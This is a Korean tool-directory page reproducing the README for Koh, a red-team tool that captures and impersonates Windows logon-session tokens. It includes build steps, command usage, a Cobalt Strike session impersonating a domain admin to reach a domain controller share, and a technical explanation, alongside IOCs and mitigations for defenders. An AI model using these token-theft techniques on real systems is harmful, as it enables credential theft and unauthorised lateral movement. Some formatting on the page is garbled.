Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Koh — 토큰 누출을 통해 Windows 로그온 세션 토큰을 캡처하여 자격 증명 재사용 및 가장을 가능하게 하며, Cobalt Strike BOF 통합을 통해 사후 공격 토큰 도용을 지원합니다. | Kitploit
도구/GitHubGitHub/ghostpack/koh
Post-ExploitationAuthenticationRed Teaming
GitHubghostpack/koh

Koh

토큰 누출을 통해 Windows 로그온 세션 토큰을 캡처하여 자격 증명 재사용 및 가장을 가능하게 하며, Cobalt Strike BOF 통합을 통해 사후 공격 토큰 도용을 지원합니다.

저장소 보기
522674년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Koh


Koh는 의도적인 토큰/로그온 세션 유출을 통해 사용자 자격 증명 자료를 캡처할 수 있는 C# 및 BOF(Beacon Object File) 도구 모음입니다.

일부 코드는 Elad Shamir의 Internal-Monologue 프로젝트(라이선스 없음)와 KB180548에서 영감을 받았습니다. 이것이 가능한 이유와 Koh의 접근 방식에 대해서는 이 README의 기술적 배경 섹션을 참조하세요.

Koh의 동기와 접근 방식에 대한 더 자세한 설명은 Koh: The Token Stealer 게시물을 참조하세요.

@harmj0y가 이 코드 베이스의 주 저자입니다. @tifkin_은 접근 방식, BOF 구현 및 일부 토큰 메커니즘에 도움을 주었습니다.

Koh는 BSD 3-Clause 라이선스에 따라 사용이 허가됩니다.

목차

  • Koh
    • 목차
    • Koh 서버
      • 컴파일
      • 사용법
      • 예제 - 로그온 세션 나열
      • 예제 - 로그온 세션 모니터링(그룹 SID 필터링 포함)
    • Koh 클라이언트
      • 사용법
      • 그룹 SID 필터링
      • 예제 - 캡처
    • 기술적 배경
      • 이것이 가능한 이유
      • 접근 방식
        • 가능한 접근 방식
        • 우리의 접근 방식
        • 기존 자격 증명 추출 대비 장점/단점
          • 장점
          • 단점
    • 인라인 장난 버그
    • IOC
    • 완화 방법
    • 할 일

Koh 서버

Koh "서버"는 토큰을 캡처하며 제어/통신을 위해 명명된 파이프를 사용합니다. 이는 Donut으로 감싸서 높은 무결성 SYSTEM 프로세스에 주입할 수 있습니다 (인라인 장난 버그 참조).

컴파일

Koh의 바이너리 배포는 계획하지 않고 있으므로 직접 컴파일해야 합니다 :)

Koh는 .NET 4.7.2를 대상으로 빌드되었으며 Visual Studio 2019 Community Edition과 호환됩니다. 프로젝트 .sln 파일을 열고 "Release"를 선택한 후 빌드하면 됩니다. Koh.exe 어셈블리와 Koh.bin Donut 빌드 PIC가 메인 디렉토리에 출력됩니다. Donut blob은 x86/x64 모두 호환되며, ./Misc/Donut.exe에 있는 Donut v0.9.3을 사용하여 다음 옵션으로 빌드됩니다:``` [ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort

root@kitploit:~
Donut의 라이선스는 BSD 3-clause입니다.

### 사용법
   
   `Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`

* **list** - (네트워크가 아닌) 로그온 세션을 나열합니다
* **monitor** - 새로운/고유한 (네트워크가 아닌) 로그온 세션을 모니터링합니다
* **capture** - 새로운 (네트워크가 아닌) 로그온 세션에 대해 발견된 SID당 하나의 고유한 토큰을 캡처합니다

그룹 SID는 명령줄에서도 제공할 수 있으며, Koh가 협상된 토큰 정보에 지정된 그룹 SID를 포함하는 로그온 세션만 모니터링/캡처하도록 합니다.

### 예제 - 로그온 세션 나열```
C:\Temp>Koh.exe list

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: list

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\testuser
      LUID        : 207990196
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1119
      Origin LUID : 1677733 (0x1999a5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)
    

예시 - 로그온 세션 모니터링 (그룹 SID 필터링 포함)

토큰 정보에 domain admins (-512) 그룹 SID가 포함된 결과만 나열합니다:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)

root@kitploit:~
## Koh 클라이언트

현재 사용 가능한 클라이언트는 `.\Clients\BOF\`에 있는 Beacon Object File입니다. `.\Clients\BOF\KohClient.cna` 공격자 스크립트를 Cobalt Strike 클라이언트에 로드하여 Koh 서버의 BOF 제어를 활성화하십시오. 캡처된 토큰을 사용하기 위한 유일한 요구 사항은 **SeImpersonatePrivilege**입니다. 통신 명명된 파이프에는 'Everyone' DACL이 있지만 기본 공유 암호(매우 안전함)를 사용합니다.

Linux에서 Mingw를 사용하여 새로 컴파일하려면 `.\Clients\BOF\build.sh` 스크립트를 참조하십시오. 유일한 요구 사항(적어도 Debian의 경우)은 `apt-get install gcc-mingw-w64`여야 합니다.

### 사용법```
beacon> help koh
koh list              - lists captured tokens
koh groups LUID       - lists the group SIDs for a captured token
koh filter list       - lists the group SIDs used for capture filtering
koh filter add SID    - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset      - resets the SID group capture filter
koh impersonate LUID  - impersonates the captured token with the give LUID
koh release all       - releases all captured tokens
koh release LUID      - releases the captured token for the specified LUID
koh exit              - signals the Koh server to exit

그룹 SID 필터링

koh filter add S-1-5-21-<DOMAIN>-<RID> 명령은 제공된 그룹 SID를 포함하는 토큰만 캡처합니다. 이 명령은 여러 번 실행하여 캡처할 추가 SID를 추가할 수 있습니다. 이는 많은 수의 토큰 누출로 인한 잠재적인 안정성 문제를 방지하는 데 도움이 됩니다.

예제 - 캡처

"Captures"는 새 각 세션에 대해 사용 가능한 토큰을 협상하여 로그온 세션을 캡처합니다.

서버:``` C:\Temp>Koh.exe capture


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: capture

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 207990196 (hToken: 848)

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 81492692 (hToken: 976)

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)

root@kitploit:~
  [*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
root@kitploit:~
BOF 클라이언트:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:

Username     : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID         : 67556826
CaptureTime  : 6/21/2022 1:24:42 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : [email protected]
Origin LUID  : 1676720

Username     : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID         : 67568439
CaptureTime  : 6/21/2022 1:24:50 PM
LogonType    : Interactive
AuthPackage  : Negotiate
CredUserName : [email protected]
Origin LUID  : 1677765

Username     : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID         : 1677733
CaptureTime  : 6/21/2022 1:23:10 PM
LogonType    : Interactive
AuthPackage  : Kerberos
CredUserName : [email protected]
Origin LUID  : 999

beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572

beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe                    : \\.\pipe\imposecost

[+] received output:
[*] Enabled SeImpersonatePrivilege

[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost

[+] received output:
[*] Impersonation succeeded. Duplicating token.

[+] received output:
[*] Impersonated token successfully duplicated.

[+] Impersonated THESHIRE\da

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
 Volume in drive \\dc.theshire.local\C$ has no label.
 Volume Serial Number is A4FF-7240

 Directory of \\dc.theshire.local\C$

01/04/2021  11:43 AM    <DIR>          inetpub
05/30/2019  03:08 PM    <DIR>          PerfLogs
05/18/2022  01:27 PM    <DIR>          Program Files
04/15/2021  09:44 AM    <DIR>          Program Files (x86)
03/20/2020  12:28 PM    <DIR>          RBFG
10/20/2021  01:14 PM    <DIR>          Temp
05/23/2022  06:30 PM    <DIR>          tools
03/11/2022  04:10 PM    <DIR>          Users
06/21/2022  01:30 PM    <DIR>          Windows
               0 File(s)              0 bytes
               9 Dir(s)  40,504,201,216 bytes free

Technical Background

시스템에 새 로그온 세션이 설정되면, LSASS는 NtCreateToken() API 호출을 사용하여 로그온 세션에 대한 새 토큰을 생성하고 LsaLogonUser() 호출자에게 반환합니다. 이렇게 하면 로그온 세션 커널 구조의 ReferenceCount를 증가시킵니다 필드가 증가합니다. ReferenceCount가 0이 되면 로그온 세션이 소멸됩니다. Why This Is Possible 섹션에서 설명된 정보로 인해, Windows 시스템은 토큰 핸들이 여전히 존재하는 경우(따라서 참조 카운트가 0이 아님) 로그온 세션을 해제하지 않습니다. 따라서 새로 생성된 로그온 세션에 대한 핸들을 토큰을 통해 얻을 수 있다면, 해당 로그온 세션을 열린 상태로 유지하고 나중에 해당 토큰을 가장하여 포함된 캐시된 자격 증명을 활용할 수 있습니다.

Why This Is Possible

Microsoft 엔지니어의 이 게시물에 따르면:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.

root@kitploit:~
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111)은 Windows 7/Server 2008까지 적용되었으므로, 이 접근 방식은 Server 2003 시스템을 제외한 모든 시스템에서 효과적이어야 합니다.

## 접근 방식

로그온 세션을 열거하는 것은 (권한 상승 컨텍스트에서) [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) Win32 API를 사용하여 쉽습니다. 더 어려운 것은 특정 로그온 세션 식별자(LUID)를 가져와서 그 세션에 연결된 사용 가능한 토큰을 _어떤 방식으로든_ 얻는 것입니다.

### 가능한 접근 방식

새 로그온 세션을 유지하고 이를 토큰 가장/캐시된 자격 증명 사용에 악용할 수 있는 몇 가지 방법을 브레인스토밍했습니다.

1. 첫 번째 접근 방식은 로그온 세션 ID(LUID)를 지정하여 새 토큰을 생성할 수 있는 **NtCreateToken()**을 사용하는 것이었습니다.
   * 불행히도, 전통적으로 LSASS만 보유하고 있는 **SeCreateTokenPrivilege**가 필요하므로, LSASS의 토큰을 도용해야 하는데 이는 이상적이지 않습니다.
   * 한 가지 가능성은 LSA 정책 수정을 통해 NT AUTHORITY\SYSTEM에 **SeCreateTokenPrivilege**를 추가하는 것이었지만, 새 사용자 권한을 적용하려면 재부팅/새 로그온 세션이 필요합니다.
2. 또한 **WTSQueryUserToken()**을 사용하여 복제할 새 데스크톱 세션의 토큰을 가져와 RemoteInteractive 로그온 세션에만 집중할 수도 있습니다.
   * 이것은 분명히 [Ryan이 시연한](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472) 접근 방식입니다.
   * 불행히도 이는 새로 생성된 로컬 세션과 PSEXEC 같은 것들로 생성된 들어오는 세션을 놓칩니다.
3. 새 로그온 세션에서, 접근 가능한 모든 프로세스에 대한 핸들을 열고 모든 기존 핸들을 열거하여 새 로그온 세션에 연결된 토큰을 복제합니다.
   * 이렇게 하면 많은 프로세스/핸들을 열어야 하므로 매우 의심스러워 보입니다.
4. 아래 설명된 **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** 접근 방식이며, 우리가 선택한 방법입니다.

### 우리의 접근 방식

SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) 호출에는 다음과 같이 명시된 **pvLogonID** 필드가 있습니다:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 

참고: **AcquireCredentialsHandle()**와 함께 로그온 세션 LUID를 사용하려면 SeTcbPrivilege가 필요하지만, 이는 일반적으로 SeCreateTokenPrivilege보다 얻기 쉽습니다.

이 호출을 로그온 세션 ID/LUID를 지정하면서 사용하면 로그온 세션 구조의 ReferenceCount가 증가하여 해제되지 못하게 되는 것으로 보입니다. 그러나 또 다른 문제가 발생합니다: "유출된"/열려 있는 로그온 세션이 주어졌을 때, 어떻게 사용 가능한 토큰을 얻을 수 있을까요? **WTSQueryUserToken()**은 데스크톱 세션에서만 작동하며, LUID를 사용 가능한 토큰에 매핑할 수 있는 사용자 영역 API는 찾을 수 없었습니다.

그러나 두 가지 추가 SSPI 함수인 InitializeSecurityContext()와 AcceptSecurityContext()를 사용하여 클라이언트와 서버 역할을 우리 자신에게 수행하고, 새로운 보안 컨텍스트를 협상한 다음 QuerySecurityContextToken()을 사용하여 사용 가능한 토큰을 얻을 수 있습니다. 이는 자격 증명 유효성 검사를 목적으로 KB180548에 문서화되었습니다(PKISolutions에 의해 여기에 미러링됨). 이는 Internal-Monologue와 유사한 접근 방식이지만, 전체 핸드셰이크 프로세스를 완료하고 토큰을 생성한 후 나중에 사용하기 위해 보관한다는 차이점이 있습니다.

이후에는 CheckTokenMembership() 또는 GetTokenInformation()을 통해 토큰 자체에 대한 필터링을 수행할 수 있습니다. 예를 들어, 도메인 관리자 또는 대상으로 삼고자 하는 특정 그룹에 속한 토큰을 제외하고 모든 토큰을 해제할 수 있습니다.

기존 자격 증명 추출 대비 장점/단점

장점

  • 로컬 및 인바운드(비네트워크) 로그온 모두에 작동합니다.
  • Kerberos 및 NTLM을 통해 생성된 인바운드 세션에 대해 작동합니다.
  • 여러 프로세스에 대한 핸들을 열 필요가 없습니다.
  • 새로운 로그온 이벤트나 로그온 세션을 생성하지 않습니다.
  • 일반적인 시스템 티켓 갱신 동작 외에 DC에 추가 이벤트 로그를 생성하지 않습니다(그렇다고 생각합니다?).
  • 토큰의 기본 수명 제한이 없으므로(그렇다고 생각합니다?) 캡처된 계정의 자격 증명이 변경되지 않고 시스템이 재부팅되지 않는 한 액세스가 계속 작동해야 합니다.
  • 시스템에서 합법적으로 캡처된 인증을 재사용하므로 "소음 속에 섞이는" 데 적합합니다.

단점

  • 시스템이 재부팅될 때까지만 액세스를 사용할 수 있습니다.
  • 다른 시스템에서 액세스를 재사용할 수 없습니다.
    • 그러나 유출된 로그온 세션에서 기존 티켓/자격 증명 추출을 여전히 수행할 수 있습니다.
  • 많은 수의 세션이 유출되면 불안정성을 유발할 수 있습니다(토큰 그룹 SID 필터링 및 캡처된 토큰 최대 개수 제한(기본값 1000)으로 완화 가능).

인라인 장난 버그

저는 꽤 오랜 시간 코딩을 해왔습니다. 이것은 꽤 오랜만에 겪은 이상하고 추적하기 어려운 버그 중 하나입니다. 도움을 부탁드립니다 ㅋㅋ

  • Koh.exe 어셈블리가 상승된(SYSTEM이 아닌) 컨텍스트에서 실행되면 모든 것이 정상적으로 작동합니다.
  • Koh.exe 어셈블리가 Cobalt Strike의 Beacon fork&run 프로세스를 통해 execute-assembly로 상승된(SYSTEM이 아닌) 컨텍스트에서 실행되면 모든 것이 정상적으로 작동합니다.
  • Koh.exe 어셈블리가 SYSTEM 컨텍스트에서 실행되는 Cobalt Strike Beacon에 대해 _인라인_으로(InlineExecute-Assembly 또는 Inject-Assembly를 통해) 실행되면 모든 것이 정상적으로 작동합니다.
  • 그러나 Koh.exe 어셈블리가 상승되었지만 SYSTEM이 아닌 컨텍스트에서 실행되는 Cobalt Strike Beacon에 대해 _인라인_으로(InlineExecute-Assembly 또는 Inject-Assembly를 통해) 실행되면 AcquireCredentialsHandle() 호출이 SEC_E_NO_CREDENTIALS로 실패하고 모든 것이 실패합니다 ¯\_(ツ)_/¯

우리는 다음과 같은 방법을 시도했지만 성공하지 못했습니다:

  • 모든 작업을 별도의 스레드로 분기하고 STA 스레드 아파트먼트를 지정합니다.
  • RPC 이상 현상 진단 시도(여전히 조사할 부분이 더 있습니다).
  • ImpersonateLoggedOnUser 대신 DuplicateTokenEx와 SetThreadToken 사용.
  • AcquireCredentialsHandle 호출 직전에 적절한 SeTcbPrivilege가 있는지 확인(있습니다).

모든 의도와 목적에 있어, 이 컨텍스트에서 AcquireCredentialsHandle 호출 직전의 스레드 컨텍스트는 정상적으로 작동하지만 결과는 오류를 반환합니다. 그리고 그 이유를 전혀 모릅니다.

이것이 무엇일지 생각나시면 알려주세요! 더 간단한 어셈블리로 실험해보고 싶다면, 제 GitHub의 AcquireCredentialsHandle 저장소를 확인해보세요.

침해 지표 (IOCs)

@tifkin_의 말을 인용하자면 "누군가가 찾기 전까지는 모든 것이 은밀하다." Koh의 접근 방식은 다른 것들과 약간 다르지만, 여전히 탐지에 사용할 수 있는 IOCs가 있습니다.

C# Koh 수집기의 고유 TypeLib GUID는 이 저장소의 Koh.yar Yara 규칙에 명시된 대로 4d5350c8-7f8c-47cf-8cde-c752018af17e입니다. 컴파일 시 변경되지 않으면 Koh 서버의 매우 높은 신뢰도의 지표가 될 것입니다.

Koh 서버가 시작되면 \\.\pipe\imposecost라는 명명된 파이프를 열어 Koh가 실행되는 동안 열려 있습니다. Koh 통신에 사용되는 기본 비밀번호는 password이므로, \\.\pipe\imposecost 파이프에 password list를 보내면 Koh가 실제로 실행 중인지 확인할 수 있습니다. 사용되는 기본 가장 파이프는 \\.pipe\imposingcost입니다.

Koh가 상승된 컨텍스트에서 시작되지만 SYSTEM이 아닌 경우, winlogon의 핸들/토큰 복제본을 수행하여 getsystem 유형의 권한 상승을 수행합니다.

공격자들이 위에서 언급한 지표를 변경하지 않을 것이라고 확신합니다.

토큰 캡처와 관련된 일부 RPC 아티팩트가 있을 수 있으며, 이를 조사할 예정입니다. 이와 관련된 추가 탐지 아티팩트를 발견하면 README의 이 섹션을 업데이트하겠습니다. Koh에서 사용하는 드문 API(LsaEnumerateLogonSessions 또는 특히 AcquireCredentialsHandle에서 LUID를 사용하는 AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext)를 후킹하는 것도 효과적일 수 있지만, 아쉽게도 저는 EDR이 아닙니다.

완화 방안

Koh: The Token Stealer 게시물을 게시한 후, @cnotin과 @SteveSyfuhs 사이에 이 접근 방식에 대한 부분적인 완화책이 될 수 있는 훌륭한 대화가 있었습니다.

KB2871997 패치는 TokenLeakDetectDelaySecs 설정을 도입했으며, 이는 "...로그오프한 사용자의 모든 자격 증명을 지우는" 것을 트리거합니다. 실제로 기본적으로 "Protected Users Security Group"의 구성원은 레지스트리 설정과 관계없이 이 동작이 적용됩니다. 그러나 이 값을 0이 아닌 값으로 설정하면 사용자가 로그오프할 때 메모리에서 모든 자격 증명이 지워집니다. 특히 Steve가 언급한 대로: 설정되면 세션의 *대화형* 로그오프 이벤트에서 타이머를 시작하고, 타이머가 만료되면 여전히 연결된 모든 것을 제거합니다. 기본적으로 꺼져 있습니다. Protected Users는 항상 켜져 있으며 기본값은 30초입니다.

위 문단에서 중요한 점은 "로그오프 이벤트"와 "대화형"이라는 두 가지입니다. 이로 인해 사용자의 자격 증명이 지워지지 않는 상황이 발생할 수 있습니다:

  • runas 또는 runas /netonly 유형의 스폰 등을 통해 자격 증명이 존재하는 경우, 프로세스가 중지될 때 로그오프 이벤트가 없으므로 자격 증명/토큰을 계속 캡처할 수 있습니다.
  • 사용자가 로그아웃하지 않고 연결을 끊는 RDP 세션을 통해 자격 증명이 존재하는 경우, 프로세스가 중지될 때 로그오프 이벤트가 없으므로 자격 증명/토큰을 계속 캡처할 수 있습니다.

(NetworkClearText와 같은 다른 로그온 상황도 테스트해야 합니다.)

그러나 사용자가 "Protected Users Security Group"에 속해 있거나 TokenLeakDetectDelaySecs가 0이 아닌 값으로 설정되어 있고, 사용자가 대화형 또는 원격 대화형(RDP) 세션에서 적극적으로 로그오프하면 자격 증명이 지워집니다. Koh가 이러한 특정 상황을 더 잘 처리하도록 프로그래밍해야 합니다.

TL;DR 민감한 사용자에게는 "Protected Users Security Group"을 사용하고, 환경에서 TokenLeakDetectDelaySecs를 30과 같은 값으로 설정할 수 있는지 확인해야 합니다.

TODO

  • 실험실 및 현장에서 추가 테스트. 가능한 우려 사항:
    • 프로덕션 환경에서의 안정성, 특히 의도적인 토큰 누출이 트래픽이 많은 서버에 문제를 일으킬 수 있음
    • 실제 유효 토큰 수명
  • Koh 명명된 파이프를 통해 원격으로 모니터링할 수 있는 "원격" 클라이언트
  • 더 많은 클라이언트 구현(PowerShell, C#, C++ 등)
  • 인라인 장난 버그 수정
  • "Protected Users"/TokenLeakDetectDelaySecs 상황 더 잘 처리
도구 다운로드